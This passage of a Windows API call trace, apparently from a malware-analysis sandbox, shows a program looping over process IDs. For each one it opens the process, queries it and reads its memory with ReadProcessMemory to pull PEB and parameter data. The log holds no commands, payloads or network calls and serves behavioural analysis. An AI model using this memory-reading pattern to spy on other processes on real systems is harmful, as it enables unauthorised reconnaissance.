_BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.870] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x464 [0205.870] GetLastError () returned 0x0 [0205.870] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.870] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x258018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.872] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.874] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.874] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x258020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.874] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.874] malloc (_Size=0x5e) returned 0x20abc2807d0 [0205.875] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x45194e, lpBuffer=0x20abc2807d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.876] free (_Block=0x20abc2807d0) [0205.876] CloseHandle (hObject=0x464) returned 1 [0205.877] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0206.068] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4244") returned 4 [0206.069] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.069] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0206.082] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x464 [0206.082] GetLastError () returned 0x0 [0206.082] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0206.082] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0206.082] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0206.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0206.083] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.084] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0206.085] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0206.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0206.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0206.085] malloc (_Size=0x64) returned 0x20abc2801b0 [0206.085] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0206.086] free (_Block=0x20abc2801b0) [0206.087] CloseHandle (hObject=0x464) returned 1 [0206.087] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0206.090] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4260") returned 4 [0206.091] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.091] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0206.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x464 [0206.338] GetLastError () returned 0x0 [0206.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0206.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x393018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0206.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0206.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0206.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.340] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0206.341] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0206.341] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x393020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0206.341] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0206.342] malloc (_Size=0x76) returned 0x20abc286890 [0206.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561966, lpBuffer=0x20abc286890, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0206.342] free (_Block=0x20abc286890) [0206.343] CloseHandle (hObject=0x464) returned 1 [0206.343] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0206.347] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4268") returned 4 [0206.347] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.348] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0206.360] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x464 [0206.360] GetLastError () returned 0x0 [0206.361] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0206.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cd018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0206.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0206.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0206.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x2dc24fc2d0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.362] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0206.363] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0206.363] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2cd020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0206.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0206.364] malloc (_Size=0x46) returned 0x20abc27cb20 [0206.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481936, lpBuffer=0x20abc27cb20, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0206.365] free (_Block=0x20abc27cb20) [0206.365] CloseHandle (hObject=0x464) returned 1 [0206.366] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0206.369] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4280") returned 4 [0206.370] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.370] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0206.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x464 [0206.741] GetLastError () returned 0x0 [0206.741] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0206.741] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x348018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0206.741] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0206.741] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x421ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0206.741] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4218f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.742] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0206.743] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0206.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x348020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0206.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0206.744] malloc (_Size=0x6c) returned 0x20abc286890 [0206.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x42195c, lpBuffer=0x20abc286890, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0206.744] free (_Block=0x20abc286890) [0206.745] CloseHandle (hObject=0x464) returned 1 [0206.745] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0206.749] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4296") returned 4 [0206.749] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0206.749] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0206.762] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x464 [0206.762] GetLastError () returned 0x0 [0206.762] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0206.762] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0206.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0206.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x291cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0206.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2918f8, lpBuffer=0x2dc24fc2d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.764] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0206.765] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0206.765] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0206.765] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0206.765] malloc (_Size=0x60) returned 0x20abc2807d0 [0206.765] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x291950, lpBuffer=0x20abc2807d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0206.766] free (_Block=0x20abc2807d0) [0206.766] CloseHandle (hObject=0x464) returned 1 [0206.767] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0206.770] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4316") returned 4 [0206.771] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.032] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0x464 [0207.045] GetLastError () returned 0x0 [0207.046] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0207.046] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2c5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0207.046] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0207.046] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0207.046] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0207.047] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0207.048] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0207.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2c5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0207.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.049] malloc (_Size=0x76) returned 0x20abc282120 [0207.049] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0207.049] free (_Block=0x20abc282120) [0207.050] CloseHandle (hObject=0x464) returned 1 [0207.050] _ui64tow_s (in: _Value=0x10fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4348") returned 0x0 [0207.054] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4348") returned 4 [0207.055] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0207.055] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0207.067] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x464 [0207.067] GetLastError () returned 0x0 [0207.068] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0207.365] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4526018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0207.365] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0207.366] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0207.366] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc24fc2d0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0207.367] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0207.368] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0207.368] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4526020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0207.368] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0207.369] malloc (_Size=0xba) returned 0x20abc286890 [0207.369] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc286890, nSize=0xb8, 